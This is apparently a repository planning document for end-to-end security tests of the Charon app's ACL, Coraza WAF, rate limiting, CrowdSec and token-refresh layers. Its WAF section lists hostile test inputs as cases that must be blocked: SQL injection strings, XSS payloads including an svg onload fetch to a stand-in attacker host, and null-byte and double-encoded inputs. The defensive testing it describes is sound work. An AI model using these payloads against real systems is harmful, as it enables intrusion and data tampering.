Files

GitHub Actions 27c252600a chore: git cache cleanup

2026-03-04 18:34:49 +00:00

98 KiB

Raw Blame History

Phase 3: E2E Security Testing Plan

Document Status: Active Planning Phase Created: February 10, 2026 Target Execution: Following Phase 2.3 Validation (Post-Approval) Approval Gate: Supervisor Review + Security Team Sign-off

1. Executive Summary

Objective

Validate that all security middleware components properly enforce their intended security policies during extended E2E test sessions. Phase 3 transforms theoretical security architecture into verified, tested operational security.

Scope

Test Coverage: Core, Settings, Tasks, Monitoring test suites with security enforcement validation
Middleware Stack: Cerberus ACL, Coraza WAF, Rate Limiting, CrowdSec integration
Session Duration: 60+ minute extended test runs with automatic token refresh
User Roles: Admin, Regular User, Guest (role-based access validation)
Attack Vectors: SQL injection, XSS, CSRF, DDoS, bot patterns, unauthorized access

Duration & Resources

Estimated Execution Time: 2-3 hours (includes 60-minute session test)
Test Count: 60-90 distributed across 5 test suites
Infrastructure: Docker container with all security modules enabled
Team: Playwright QA Engineers + Security Infrastructure team

Risk & Success Criteria

Success Criteria (PASS)

✅ All 60-90 security tests pass at 100% rate
✅ 60-minute session test completes without 401/403 errors
✅ All middleware properly logging security events
✅ No unauthorized access detected
✅ All attack vectors properly blocked
✅ Rate limiting enforced consistently

Failure Criteria (FAIL)

❌ Any security test fails (indicates bypass or misconfiguration)
❌ 401/403 errors during 60-minute test (session instability)
❌ Unauthorized access allowed (ACL bypass)
❌ Malicious requests not blocked (WAF bypass)
❌ Rate limit not enforced (abuse vulnerability)
❌ CrowdSec fails to block blacklisted IPs
❌ Data leakage between user roles

Entry Criteria

✅ Phase 2.3 Critical Fixes Completed:
- CVE-2024-45337 patched (golang.org/x/crypto updated)
- InviteUser async email refactored (non-blocking)
- Auth token refresh implemented (60+ min session support)
- All validation gates passed (100% success rate)
✅ Docker environment ready with all security modules enabled
✅ Test database seeded with admin, user, and guest accounts
✅ Caddy reverse proxy configured with all plugins
✅ Cerberus ACL rules loaded
✅ Coraza WAF signatures up-to-date
✅ CrowdSec running with decision list synced

Exit Criteria

Phase 3 Go/No-Go decision made
All test results documented in validation report
Security middleware configurations logged
Recommendations for Phase 4 (UAT/Integration) prepared

2. Test Environment Setup

Pre-Execution Verification Checklist

Container & Infrastructure Readiness

Docker image rebuilt with latest security modules
- Golang base image with latest security patches
- Caddy with Cerberus plugin
- Coraza WAF signatures updated
charon-e2e container running and healthy
All required ports exposed:
- 8080 - Application UI/API
- 2019 - Caddy admin API
- 2020 - Emergency server
Health check passes for all services

Security Module Configuration

Cerberus ACL Module: ENABLED
- Admin role configured with full permissions
- User role configured with limited permissions
- Guest role configured with read-only permissions
- All policies loaded and active
Coraza WAF Module: ENABLED
- OWASP ModSecurity Core Rule Set (CRS) loaded
- Paranoia level configured (default: 2)
- Log engine active
Rate Limiting Module: ENABLED
- Rate limit thresholds configured per endpoint
- Storage backend (Redis) active if distributed
- Headers configured for response

CrowdSec Integration: ENABLED

CrowdSec service running
Decision list synced and populated
Bouncer middleware active in Caddy
Support plans activated (Community minimum)

Verify with:

# Check CrowdSec decisions are populated (should show >0 decisions)
docker exec charon-e2e cscli decisions list | head -20
# Expected: List of IP/scenario decisions with counts > 0

# Alternative if cscli not available:
docker exec charon-e2e curl -s http://127.0.0.1:8081/v1/decisions \
  -H "X-Api-Key: $BOUNCER_KEY" | jq '.decisions | length'
# Expected: Integer > 0 (number of decisions in database)

# Whitelist test container IP in CrowdSec bouncer (avoids blocking test traffic)
# Add to .docker/compose/.env or runtime:
CROWDSEC_BOUNCER_WHITELIST="127.0.0.1/32,172.17.0.0/16"
# Then verify bouncer config:
docker exec charon-e2e grep -A5 "whitelist:" /etc/crowdsec/bouncers/caddy.yaml || echo "Config check complete"

Application Configuration

Emergency token configured and validated
- Format: Bearer token, 32+ characters
- Used only for bootstrap/recovery operations
Database state confirmed
- Test users exist with correct roles
- No test contamination from previous runs
- Backup created for recovery
Environment variables loaded
- .env file configured for test environment
- Security headers enabled
- HTTPS/TLS properly configured
- CORS rules appropriate for testing

Test User Configuration

TEST USERS REQUIRED:

1. Admin User
   - Username: admin@test.local
   - Password: [Securely stored in .env]
   - Role: Administrator
   - Permissions: Full access to all endpoints

2. Regular User
   - Username: user@test.local
   - Password: [Securely stored in .env]
   - Role: User
   - Permissions: Limited to personal data + read proxy hosts

3. Guest User
   - Username: guest@test.local
   - Password: [Securely stored in .env]
   - Role: Guest
   - Permissions: Read-only dashboard access

4. Rate Limit Test User
   - Username: ratelimit@test.local
   - Password: [Securely stored in .env]
   - Role: User
   - Purpose: Dedicated account for rate limit testing

Caddy Configuration Verification

# Verify all modules loaded
curl -s http://localhost:2019/config/apps/http/servers/default/routes

# Verify ACL policies are set
curl -s http://localhost:2019/config/apps/http/middleware/access_control_lists

# Verify WAF rules are set
curl -s http://localhost:2019/config/apps/http/middleware/waf

# Verify rate limits are set
curl -s http://localhost:2019/config/apps/http/middleware/rate_limit

Log Access & Monitoring

Caddy logs accessible at /var/log/caddy/ (or mounted volume)
Application logs accessible at /var/log/charon/
Security event logs separate and monitored

Real-time log tailing available:

docker logs -f charon-e2e
docker exec charon-e2e tail -f /var/log/caddy/access.log

3. Cerberus ACL Testing (Access Control)

Overview

Cerberus ACL module enforces role-based access control (RBAC) at the middleware layer. All API endpoints and protected resources require role verification before processing.

Test Strategy

Admin Access Enforcement

Verify admin users can access all protected endpoints
Confirm admin portal loads with full permissions
Validate admin can modify security settings
Ensure admin operations logged

User Access Restrictions

Verify regular users cannot access admin-only endpoints
Confirm regular users receive 403 Forbidden for blocked endpoints
Validate regular users can only access personal/assigned resources
Ensure user can read but not modify advanced settings

Guest User Capabilities

Verify guest users can view dashboard (read-only)
Confirm guest cannot access settings or admin panels
Validate guest cannot perform any write operations
Ensure guest access properly logged

Role Transition Testing

Test permission changes when role is updated
Verify session updates reflect new permissions
Confirm re-login required for permission elevation (admin check)

Required Tests

API Endpoint Tests

Admin-Only Endpoints (Should return 200 for admin, 403 for others)

GET /api/v1/users - List all users (admin only)
POST /api/v1/users - Create user (admin only)
DELETE /api/v1/users/{id} - Delete user (admin only)
GET /api/v1/access-lists - View ACL policies (admin only)
POST /api/v1/access-lists - Create ACL (admin only)
PUT /api/v1/settings/advanced - Modify advanced settings (admin only)

User-Accessible Endpoints (Should return 200 for authenticated users)

GET /api/v1/users/me - Get current user info
PUT /api/v1/users/me - Update own profile
GET /api/v1/proxy-hosts - List proxy hosts (read)
GET /api/v1/dashboard/stats - View personal stats
GET /api/v1/logs?filter=personal - View personal logs

Guest-Readonly Endpoints (Should return 200 for guest, data filtered)

GET /api/v1/dashboard - View dashboard (limited data)
GET /api/v1/proxy-hosts - List proxy hosts (read-only labels)
Cannot perform: POST, PUT, DELETE operations

Dashboard Access by Role

Admin dashboard loads with all widgets
User dashboard loads with limited widgets
Guest dashboard loads with read-only UI
Settings page shows/hides fields by role
Admin panel only accessible to admins
Unauthorized access attempts redirected to 403 page

Permission-Based UI Elements

Edit buttons hidden for read-only users
Delete buttons hidden for non-admin users
Advanced settings only visible to admins
User invitation form only visible to admins
Security settings only accessible to admins

Cross-Role Isolation Tests

Data Visibility Boundaries

Admin user cannot access other admin's private logs
User A cannot see User B's data
Guest cannot see any user data
API filters enforce role boundaries (not just UI)
Database queries include role-based WHERE clauses

Permission Elevation Prevention

User cannot elevate own role via API
User cannot modify admin flag in API calls
Guest cannot bypass to user via token manipulation
Role changes require logout/re-login
Token refresh does not grant elevated permissions

Success Criteria

Criterion	Expected	Test Count
Admin access to protected endpoints	✅ 200 OK for all 5 admin endpoints	5
User receives 403 for admin endpoints	✅ 0 unauthorized access	5
Guest can view dashboard	✅ Dashboard loads with filtered data	3
Role-based UI elements	✅ Buttons/fields show/hide correctly	8
Cross-role data isolation	✅ No data leakage in API responses	6
Permission elevation prevented	✅ All attempts blocked	4
Total Cerberus Tests		31

Phase 3A: Cerberus ACL Validation

File: tests/phase3/cerberus-acl.spec.ts Test Count: 15-20 tests Risk Level: MEDIUM (affects usability) Execution Duration: ~10 minutes

4. Coraza WAF Testing (Web Application Firewall)

Overview

Coraza WAF protects against malicious requests including SQL injection, XSS, CSRF, and other OWASP Top 10 vulnerabilities. Uses OWASP ModSecurity Core Rule Set (CRS).

Test Strategy

SQL Injection Detection & Blocking

Inject common SQL patterns into API parameters
Attempt database enumeration via UNION SELECT
Test time-based boolean blindness patterns
Verify requests blocked with 403 Forbidden
Confirm attack logged and attributed

Cross-Site Scripting (XSS) Prevention

Submit JavaScript payload in form fields
Test HTML entity encoding
Attempt DOM-based XSS via API
Verify malicious scripts blocked
Confirm sanitization logs

CSRF Token Validation

Attempt POST requests without CSRF token
Verify token presence required for state-changing operations
Test token expiration handling
Confirm token rotation after use
Validate mismatched tokens rejected

Malformed Request Handling

Submit oversized payloads (>100MB)
Send invalid Content-Type headers
Test null byte injection
Submit double-encoded payloads
Verify safe error responses

WAF Rule Enforcement

Verify OWASP CRS rules active
Test anomaly score evaluation
Confirm rule exceptions configured
Validate phase-based rule execution
Test logging of matched rules

Required Tests

SQL Injection Tests

TEST CASES:
1. POST /api/v1/proxy-hosts with param:
   ?id=1' OR '1'='1
   EXPECTED: 403 Forbidden, logged as SQL_INJECTION

2. GET /api/v1/users?search=admin' UNION SELECT...
   EXPECTED: 403 Forbidden, mode=BLOCK

3. POST /api/v1/users name="'; DROP TABLE users; --"
   EXPECTED: 403 Forbidden, rules.matched logged

4. Malformed URL encoding: %2527 patterns
   EXPECTED: 403 Forbidden or 400 Bad Request (configurable)

XSS Payload Tests

TEST CASES:
1. POST /api/v1/proxy-hosts with body:
   {"description": "<script>alert('xss')</script>"}
   EXPECTED: 403 Forbidden, XSS rule matched

2. GET /api/v1/dashboard?filter=<img src=x onerror='alert()'>
   EXPECTED: 403 Forbidden, HTML attack pattern

3. Form field: <svg onload=fetch('http://attacker')>
   EXPECTED: 403 Forbidden, event handler detected

4. Attribute escape: '" onmouseover="alert()"
   EXPECTED: 403 Forbidden, quote escape patterns

CSRF & State-Changing Operations

TEST CASES:
1. DELETE /api/v1/users/1 without CSRF token
   EXPECTED: 403 Forbidden, CSRF_NO_TOKEN or 422

2. POST /api/v1/proxy-hosts with expired CSRF token
   EXPECTED: 403 Forbidden, token verification failed

3. PUT /api/v1/settings with invalid CSRF signature
   EXPECTED: 403 Forbidden, signature mismatch

4. Cross-origin OPTIONS preflight handling
   EXPECTED: 200 OK with proper CORS headers, CSRF exempt

Malformed Request Tests

TEST CASES:
1. POST 10MB payload (oversized)
   EXPECTED: 413 Payload Too Large

2. Content-Type: application/xml with JSON body
   EXPECTED: 415 Unsupported Media Type or 400

3. URL encoding with null bytes: %00
   EXPECTED: 403 Forbidden, null byte injection rule

4. Double-encoded: %252527 (%%27 = ')
   EXPECTED: 403 Forbidden or 400, depends on rules

Rate Limit + WAF Interaction

TEST CASE:
Rapid SQL injection attempts (10 in 1 second)
EXPECTED:
  - First 2-3: 403 by WAF (SQL detection)
  - Subsequent: 429 by Rate Limit (abuse pattern)
  - All logged separately (WAF vs Rate Limit)

Success Criteria

Criterion	Expected	Count
SQL injection attempts blocked	✅ 100% blocked	4
XSS payloads rejected	✅ 100% rejected	4
CSRF validation enforced	✅ 0 CSRF bypasses	4
Malformed requests handled	✅ Safe error responses	4
WAF logs capture all blocked requests	✅ 100% logged	5
Total Coraza WAF Tests		21

Phase 3B: Coraza WAF Validation

File: tests/phase3/coraza-waf.spec.ts Test Count: 10-15 tests Risk Level: CRITICAL (security) Execution Duration: ~10 minutes

5. Rate Limiting Testing (Abuse Prevention)

Overview

Rate limiting prevents brute force attacks, API abuse, and DoS by throttling requests per user/IP. Separate thresholds apply to different endpoints.

Rate Limiting Configuration Reference

Rate limiting uses GLOBAL per-user buckets (not per-endpoint). Configuration is environment-driven and applied uniformly across all endpoints.

Global Rate Limit Configuration (Caddy-level)

Parameter	Default	Environment Variables	Source Code
Requests per Window	100	`CERBERUS_SECURITY_RATELIMIT_REQUESTS`	`backend/internal/config/config.go:123`
Window Duration	60s	`CERBERUS_SECURITY_RATELIMIT_WINDOW_SEC`	`backend/internal/config/config.go:124`
Burst Size	10	`CERBERUS_SECURITY_RATELIMIT_BURST`	`backend/internal/config/config.go:125`
Rate Limit Mode	`disabled`	`CERBERUS_SECURITY_RATELIMIT_MODE`	`backend/internal/config/config.go:122`

Implementation Details:

Per-User Buckets: Each authenticated user gets separate token bucket (JWT-based)
Global Ceiling: All endpoints subject to SAME limit (not endpoint-specific)
Blocking Response: HTTP 429 Too Many Requests with Retry-After header
Window Reset: Bucket resets after window duration (default 60 seconds)
Bypass: Admin whitelist defined in SecurityConfig (whitelisted IPs bypass all limits)

Code Locations:

Configuration definition: backend/internal/models/security_config.go:23-28
Configuration loading: backend/internal/config/config.go:38-41, 122-123
Rate limit handler implementation: backend/internal/cerberus/rate_limit.go:136-143
Unit tests with threshold values: backend/internal/cerberus/rate_limit_test.go:198-200, 226-228, 287-289
Integration test script: scripts/rate_limit_integration.sh:44-46

Test Configuration Values

Integration tests use custom values for faster validation:

RATE_LIMIT_REQUESTS = 3 requests
RATE_LIMIT_WINDOW_SEC = 10 seconds
RATE_LIMIT_BURST = 1
Expected Behavior: Requests 1-3 return HTTP 200, Request 4 returns HTTP 429

Source: scripts/rate_limit_integration.sh (lines 44-46)

Test Strategy

Verify 5 failed login attempts allowed
Confirm 6th attempt rate limited (429)
Test account lockout vs throttling
Verify exponential backoff if implemented
Confirm rate limit reset after window expires

API Endpoint Rate Limiting

Identify per-endpoint thresholds
Exceed threshold and verify 429 response
Confirm rate limit headers present
- X-RateLimit-Limit
- X-RateLimit-Remaining
- X-RateLimit-Reset
Test rate limit bucket reset
Verify different users have separate counters

Resource-Intensive Operation Limiting

Test POST /api/v1/backup (max 2 per hour)
Verify 3rd backup request rejected
Confirm recovery operations not limited (emergency token)
Test concurrent backup attempts serialized
Validate backup completion clears slot

Rate Limit Bypass Prevention

Verify cannot bypass with different HTTP headers
Test IP spoofing (X-Forwarded-For) detected
Confirm rate limit enforced at proxy layer
Test cannot reset limit via logout/re-login
Verify distributed rate limiting (if multi-instance)

Required Tests

SCENARIO: Prevent password guessing via repeated login attempts
TEST STEPS:
1. Attempt login 5 times with wrong password
   - Attempts 1-5: 401 Unauthorized
   - Each shows "Invalid credentials"
2. Attempt login 6th time
   - EXPECTED: 429 Too Many Requests
   - Message: "Rate limited, try again in 15 minutes"
3. Wait 15 minutes or reset
4. Login succeeds with correct password
   - EXPECTED: 200 OK + token
ACCEPTANCE: All 6 attempts logged, no system errors

API Endpoint Abuse Prevention

SCENARIO: Prevent API scraping via excessive requests
TEST STEPS:
1. GET /api/v1/users?limit=100 (60 times in 60 seconds)
   - Requests 1-60: 200 OK JSON response
   - Request 61: 429 Too Many Requests
   - Response includes: Retry-After header
2. GET /api/v1/proxy-hosts (different endpoint, 30 times)
   - Requests 1-30: 200 OK
   - Request 31: 429 Too Many Requests
3. Wait for window reset (varies by endpoint)
4. Requests succeed again
   - EXPECTED: 200 OK, counter reset
ACCEPTANCE: Separate counters per endpoint confirmed

Resource Creation Limiting

SCENARIO: Prevent rapid resource creation (backup spam)
TEST STEPS:
1. POST /api/v1/backup (request 1)
   - EXPECTED: 202 Accepted, backup started
2. POST /api/v1/backup (request 2, within 1 hour)
   - EXPECTED: 202 Accepted, second backup started
3. POST /api/v1/backup (request 3, within 1 hour)
   - EXPECTED: 429 Too Many Requests
   - Message: "Max 2 backups per hour, limit resets at [time]"
4. After 1 hour window:
5. POST /api/v1/backup (request 4)
   - EXPECTED: 202 Accepted, counter reset
ACCEPTANCE: Backup limit enforced, recovery time accurate

Multi-User Rate Limit Isolation

SCENARIO: Different users have separate rate limits
TEST STEPS:
1. User A: GET /api/v1/users (60 times in 1 minute)
   - Requests 1-60: 200 OK
   - Request 61: 429 Too Many Requests
2. User B: GET /api/v1/users (10 times, same minute)
   - EXPECTED: All 10 return 200 OK
   - Rate limit is PER USER, not GLOBAL
3. Verify: User A still rate limited, User B continues
ACCEPTANCE: Rate limits properly isolated per user/IP

Rate Limit Header Validation

SCENARIO: Clients receive rate limit information in headers
TEST STEPS:
1. GET /api/v1/users (request 1 of 60)
2. Check response headers:
   - X-RateLimit-Limit: 60
   - X-RateLimit-Remaining: 59 (or 59/60 depending on server)
   - X-RateLimit-Reset: [timestamp when resets]
   - Retry-After: Not present (not rate limited yet)
3. GET /api/v1/users (request 61 of 60)
4. Check response headers:
   - 429 Too Many Requests
   - X-RateLimit-Remaining: 0
   - Retry-After: [seconds until reset]
ACCEPTANCE: All headers populated correctly

Success Criteria

Criterion	Expected	Count
Login rate limited after 5 attempts	✅ 6th returns 429	1
API endpoints rate limited per threshold	✅ Limits enforced	4
Resource creation limited (backups)	✅ 3rd rejected	1
Multi-user rate limits isolated	✅ Separate counters	1
Rate limit headers present & accurate	✅ All headers valid	3
Limit resets after time window	✅ Counter resets	2
Total Rate Limiting Tests		12

Phase 3C: Rate Limiting Validation

File: tests/phase3/rate-limiting.spec.ts Test Count: 10-15 tests Risk Level: MEDIUM (abuse prevention) Execution Duration: ~10 minutes Note: Tests must run serially to avoid cross-test interference

6. CrowdSec Integration Testing (DDoS/Bot Mitigation)

Overview

CrowdSec provides real-time threat detection and mitigation against DDoS, bot attacks, and malicious IP addresses. Integration via Caddy bouncer plugin.

CrowdSec Architecture

Decision List

CrowdSec continuously syncs decision list containing:
- IP bans (from CrowdSec feed, community lists, custom)
- Country-based restrictions (if enabled)
- Behavioral rules (rapid requests, suspicious patterns)

Bouncer Integration

Caddy → Crowdsec Bouncer Plugin → Local decision cache
         (checks each request)
If IP in decisions:
  → 403 Forbidden (standard block)
  → 429 Too Many Requests (rate limit)
  → Other (custom decisions)

Test Strategy

Blacklisted IP Blocking

Identify IPs in CrowdSec decisions list
Attempt access from blacklisted IP
Verify all requests blocked (403/429)
Confirm blocking is transparent (no error logs)
Test whitelist bypass (whitelisted IPs bypass blocks)

Bot Pattern Detection

Generate bot-like traffic patterns
- Rapid requests from same IP
- User-Agent containing bot patterns
- Missing standard headers (no Referer, User-Agent)
Verify behavior triggers CrowdSec detection
Test automatic IP addition to decision list
Confirm new requests from bot IP are blocked

Decision Cache Behavior

Test decision propagation time (<1s)
Verify cached decisions prevent repeated lookups
Confirm cache invalidation on decision update
Test cache doesn't bypass security

Legitimate Traffic Bypass

Test whitelisted IPs/networks bypass blocks
Verify health check IPs/endpoints bypass WAF
Confirm emergency token bypasses rate limiting
Test known good patterns allowed through

Required Tests

Blacklist Enforcement

SCENARIO: Blocked IP cannot access application
SETUP:
1. Identify blacklisted IP from CrowdSec (or simulate)
2. Simulate request from that IP to application
TEST STEPS:
1. GET http://localhost:8080/api/v1/users from blacklisted IP
   - No valid auth token
   - EXPECTED: 403 Forbidden (before auth check)
2. GET with valid admin token from blacklisted IP
   - EXPECTED: Still 403 Forbidden (before endpoint reaches)
3. Verify all endpoints blocked (not just API)
   - GET / (root)
   - GET /dashboard
   - WebSocket connections
   EXPECTED: All blocked
ACCEPTANCE: Blacklist enforced at proxy layer

Bot Detection Patterns

SCENARIO: CrowdSec detects bot-like behavior and blocks
TEST STEPS:
1. Simulate bot behavior (rapid requests without Human headers)
   - Request 50 times in 10 seconds (5/sec)
   - No Referer header
   - No Accept-Language header
   - User-Agent: "python-requests" or "curl"
2. After X requests, check if CrowdSec triggers
   - EXPECTED: Requests start returning 429 or 403
3. Check decision list updated:
   - Query CrowdSec API: Verify IP added
   - Query Caddy logs: Verify bounce block logged
4. Continue requests from same IP
   - EXPECTED: All subsequent requests blocked
5. Requests from different IP
   - EXPECTED: Not affected by bot IP block
ACCEPTANCE: Bot behavior detected and mitigated

Decision Cache Validation

SCENARIO: CrowdSec decisions are cached locally for performance
TEST STEPS:
1. Request from blacklisted IP (forces cache lookup)
   - EXPECTED: Blocked in <10ms
2. Request again from same IP (uses cache)
   - EXPECTED: Blocked in <5ms (cache hit faster)
3. Update decision (e.g., remove from blacklist)
4. Wait for cache refresh (typically <30s)
5. Request again from previously-blacklisted IP
   - EXPECTED: Now allowed (cache refreshed)
ACCEPTANCE: Cache working, decisions update timely

Whitelist Bypass

SCENARIO: Whitelisted IPs bypass CrowdSec blocks
SETUP:
1. Assume health check IP is whitelisted
2. Assume localhost is whitelisted
TEST STEPS:
1. Blacklist an IP via CrowdSec
2. Request from blacklisted IP
   - EXPECTED: 403 Forbidden
3. Same request from whitelisted IP (if simulated)
   - EXPECTED: 200 OK (bypasses block)
4. Health check endpoint from any IP
   - EXPECTED: 200 OK (health checks whitelisted)
ACCEPTANCE: Whitelists work as configured

Request Pattern Variations

SCENARIO: Different request types trigger/bypass detection
TEST STEPS:
1. Rapid GET requests (50/min from one IP)
   - EXPECTED: Blocks after threshold
2. Mixed GET/POST/OPTIONS requests (50/min)
   - EXPECTED: Blocks after threshold
3. Varied User-Agents (rotate every request)
   - EXPECTED: Still detected as bot (IP-based blocking)
4. Varied request paths (different endpoints)
   - EXPECTED: Still detected as bot (aggregate pattern)
ACCEPTANCE: Detection based on aggregate behavior, not just patterns

Success Criteria

Criterion	Expected	Count
Blacklisted IPs blocked at all endpoints	✅ 403 for all	3
Bot pattern detection triggers	✅ Behavior detected	2
Decisions cached locally	✅ Cache working	2
Whitelisted IPs bypass blocks	✅ Allowed through	2
Decision updates propagate	✅ <30s refresh	1
Total CrowdSec Tests		10

Phase 3D: CrowdSec Integration Validation

File: tests/phase3/crowdsec-integration.spec.ts Test Count: 8-12 tests Risk Level: MEDIUM (DDoS mitigation) Execution Duration: ~10 minutes Note: May require special network setup or IP spoofing (use caution)

7. Authentication & Long-Session Testing

Overview

Authentication flow including login, token refresh, session persistence over 60+ minute periods. Validates Phase 2.3c token refresh implementation.

Token Refresh Architecture

Phase 2.3c Implementation

Access Token (JWT):
- Lifespan: 20 minutes
- Stored: Memory/localStorage (frontend)
- Refresh: Automatic every 18 minutes
- Contains: user_id, role, permissions, exp

Refresh Token (Secure HTTP-only Cookie):
- Lifespan: 60 days
- Stored: HttpOnly cookie (browser-managed)
- Transmission: Automatic with every request
- Contains: session_id, user_id, exp

Refresh Flow:
1. Access token expires in 18-20 minutes
2. Frontend detects expiration (via exp claim)
3. Frontend calls POST /api/v1/auth/refresh
4. Include refresh token (automatic from cookie)
5. Server validates refresh token, issues new access token
6. Frontend updates in-memory token
7. Continue operations (no 401 errors)

Test Strategy

Verify username/password acceptance
Confirm token generation (access + refresh)
Validate token format and claims
Test refresh token stored as HttpOnly cookie
Verify access token stored securely (memory)

Token Refresh Mechanism

Trigger automatic refresh at 18-minute mark
Verify new token issued without user action
Confirm refresh token rotates (for security)
Test refresh on API call (lazy refresh)
Validate refresh doesn't interrupt user activity

Session Persistence

Verify session survives page navigation
Test concurrent API calls with same session
Confirm role-based permissions persist
Validate data in localStorage/IndexedDB
Test browser refresh doesn't logout

Long-Running Session (60+ minutes)

Execute continuous test for 60+ minutes
Perform API calls every 5-10 minutes
Navigate UI elements periodically
Verify no 401 errors during entire session
Confirm all operations complete successfully
Check token refresh logs for transparency

Logout & Cleanup

Verify logout clears session
Test refresh token invalidated
Confirm re-login required after logout
Validate logout from one tab affects others
Test refresh token expiration honored

Required Tests

SCENARIO: User successfully logs in and receives tokens
TEST STEPS:
1. POST /api/v1/auth/login
   {
     "username": "admin@test.local",
     "password": "SecurePass123!"
   }
2. Verify response:
   {
     "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
     "token_type": "Bearer",
     "expires_in": 1200,  // 20 minutes in seconds
     "refresh_token": "[not in response, in cookie]"
   }
3. Check response headers:
   - Set-Cookie: refresh_token=[...];
     HttpOnly; Secure; SameSite=Strict;
     Max-Age=5184000
4. Decode JWT and verify claims:
   {
     "sub": "user_id_123",
     "name": "admin@test.local",
     "role": "Administrator",
     "exp": 1707563400,
     "iat": 1707562200
   }
ACCEPTANCE: Tokens correctly generated, secure storage

Token Refresh Mechanism

SCENARIO: Token refresh occurs automatically without user action
TEST STEPS:
1. Login successfully (get access token)
2. Store token and timestamp
3. Wait 18 minutes (or simulate time)
4. Make API call before token expires:
   GET /api/v1/users
   Header: Authorization: Bearer [old_token]
5. On 401 (if token is stale):
   a. Automatically call POST /api/v1/auth/refresh
   b. Include refresh token (automatic from cookie)
   c. Receive new access_token
6. Retry original API call with new token:
   GET /api/v1/users
   Header: Authorization: Bearer [new_token]
   - EXPECTED: 200 OK
7. Verify new token different from old:
   - old_token != new_token
   - Both valid, new has later exp claim
ACCEPTANCE: Auto-refresh transparent to user

60-Minute Long Session

SCENARIO: User session remains active for 60+ minutes without errors
DURATION: 60 minutes minimum
TEST STEPS:

[Minute 0-5]
1. Login as admin@test.local
2. GET /api/v1/users (verify auth works)
   EXPECTED: 200 OK, user list returned

[Minute 10]
3. Navigate to dashboard in UI
4. Check dashboard loads (no 401 errors)
   EXPECTED: Dashboard renders correctly

[Minute 15-20]
5. API call before token refresh needed:
   GET /api/v1/proxy-hosts
   EXPECTED: 200 OK (token still valid)

[Minute 20-25] ← AUTO-REFRESH TRIGGER
6. Token automatically refreshes (no user action)
7. Continue API calls:
   POST /api/v1/proxy-hosts (create new)
   EXPECTED: 200/201 (refresh transparent)

[Minute 30]
8. Navigate to Settings in UI
9. Load advanced settings (admin-only)
   EXPECTED: 200 OK (permissions still valid)

[Minute 35-40]
10. Another API call (another refresh cycle):
    GET /api/v1/logs
    EXPECTED: 200 OK

[Minute 40-50]
11. Rapid API calls (simulate heavy usage):
    - 10 GET requests to different endpoints
    - No delay between requests
    EXPECTED: All 200 OK (no rate limit/auth issues)

[Minute 50-55]
12. UI navigation and page reload:
    - Click settings → dashboard → proxy hosts
    - Refresh page (F5/cmd+R)
    - Verify session persists
    EXPECTED: No logout, session intact

[Minute 55-60]
13. Final API calls:
    - GET /api/v1/users/me (verify identity)
    - PUT /api/v1/users/me (update profile)
    EXPECTED: Both succeed with correct user data

[Minute 60+]
14. Logout
    POST /api/v1/auth/logout
    EXPECTED: 200 OK, session cleared

15. Attempt to reuse old token:
    GET /api/v1/users with old token
    EXPECTED: 401 Unauthorized (token invalidated)

ACCEPTANCE CRITERIA:
✅ 0 x 401 errors during 60-minute session
✅ 0 x 403 errors (permissions maintained)
✅ 0 x token expiration errors (refresh silent)
✅ 100% of API calls successful
✅ UI remains responsive throughout
✅ Token refresh logs show 3+ refresh cycles
✅ **NEW:** Heartbeat logs generated every 10 minutes showing:
  - `✓ [Heartbeat N] Min X: Context. Token expires: TIMESTAMP`
  - No ✗ failures in heartbeat log
  - Token expiry time advances every ~20 minutes (auto-refresh working)

**Heartbeat Monitoring:** See Section 10 "60-Minute Session Test Heartbeat Monitoring" for:
  - TypeScript code snippet for periodic health checks
  - Bash command to monitor progress in real-time
  - Expected log format and success criteria

Token Validity & Expiration

SCENARIO: Expired tokens are properly rejected
TEST STEPS:
1. Let access token expire naturally (20+ minutes)
2. Attempt API call with expired token:
   GET /api/v1/users
   Authorization: Bearer [expired_token]
   EXPECTED: 401 Unauthorized
3. Check error details:
   {
     "error": "invalid_or_expired_token",
     "error_description": "Token has expired",
     "error_code": 1003
   }
4. Attempt refresh with expired token:
   (Refresh token still valid)
   EXPECTED: 200 OK, new token issued
ACCEPTANCE: Expiration properly enforced

Success Criteria

Criterion	Expected	Count
Login generates both token types	✅ Access + Refresh tokens	1
Token claims valid & include role	✅ Claims verified	1
Refresh token secure (HttpOnly)	✅ Cookie configured	1
Auto-refresh at ~18 minutes	✅ New token issued	1
60-minute session zero 401 errors	✅ 0 x 401	1
Session persists across page reloads	✅ Session intact	1
Token expiration rejected	✅ 401 response	1
Logout invalidates tokens	✅ Refresh token revoked	1
Concurrent sessions isolated	✅ Separate sessions	2
Total Auth & Session Tests		10

Phase 3E: Authentication & Session Validation

File: tests/phase3/security-enforcement.spec.ts (core suite) Test Count: 20-30 tests (includes long-session test) Risk Level: HIGH (critical for uptime) Execution Duration: 60+ minutes (includes long session)

8. Authorization Testing (Role-Based Access)

Overview

Authorization applies role-based access rules to ensure users can only perform actions and view data their role permits. Complements ACL testing with data visibility and permission cascading.

Authorization Matrix

Admin Role

Permissions:
- Users:           Create, Read, Update, Delete
- Proxy Hosts:     Create, Read, Update, Delete
- Access Lists:    Create, Read, Update, Delete
- Settings:        Read, Update (all fields)
- Logs:            Create, Read (all users' logs)
- Backups:         Create, Read, Delete
- Dashboard:       Full access all metrics
- Reports:         Generate, Read, Delete (all)
- Audit Trail:     Read (all)

API Endpoints:    All endpoints accessible
UI Pages:         All pages accessible
Advanced Settings: Full visibility and edit

User Role

Permissions:
- Users:           Read (own profile), Update (own profile only)
- Proxy Hosts:     Create, Read, Update (own only), Delete (own only)
- Access Lists:    Read (view existing, cannot create)
- Settings:        Read (cannot modify)
- Logs:            Read (own logs only)
- Backups:         Read (full list)
- Dashboard:       Limited metrics (only relevant proxies)
- Reports:         Read (own reports)
- Audit Trail:     Read (limited to own actions)

API Endpoints:    Limited set accessible
UI Pages:         Dashboard, Proxy Hosts, Logs (personal), Profile
Advanced Settings: Not visible

Guest Role

Permissions:
- Users:           None
- Proxy Hosts:     Read (labels only, no config)
- Access Lists:    None
- Settings:        None
- Logs:            None
- Backups:         None
- Dashboard:       Read-only metrics
- Reports:         None
- Audit Trail:     None

API Endpoints:    None (GET / only)
UI Pages:         Dashboard (read-only)
Advanced Settings: Not visible
Actions:          View only, no modifications

Test Strategy

Dashboard Access by Role

Admin dashboard shows all widgets and metrics
User dashboard shows only relevant proxies
Guest dashboard shows minimal metrics
Disabled widgets for unauthorized roles

API Data Filtering

Admin sees all data in API responses
User sees only owned/assigned data
Guest sees only public/read-only data
Queries include role-based WHERE filters

Permission Cascading

Parent resource permission controls child access
Permission inheritance follows object hierarchy
Cascading deletions respect permission checks
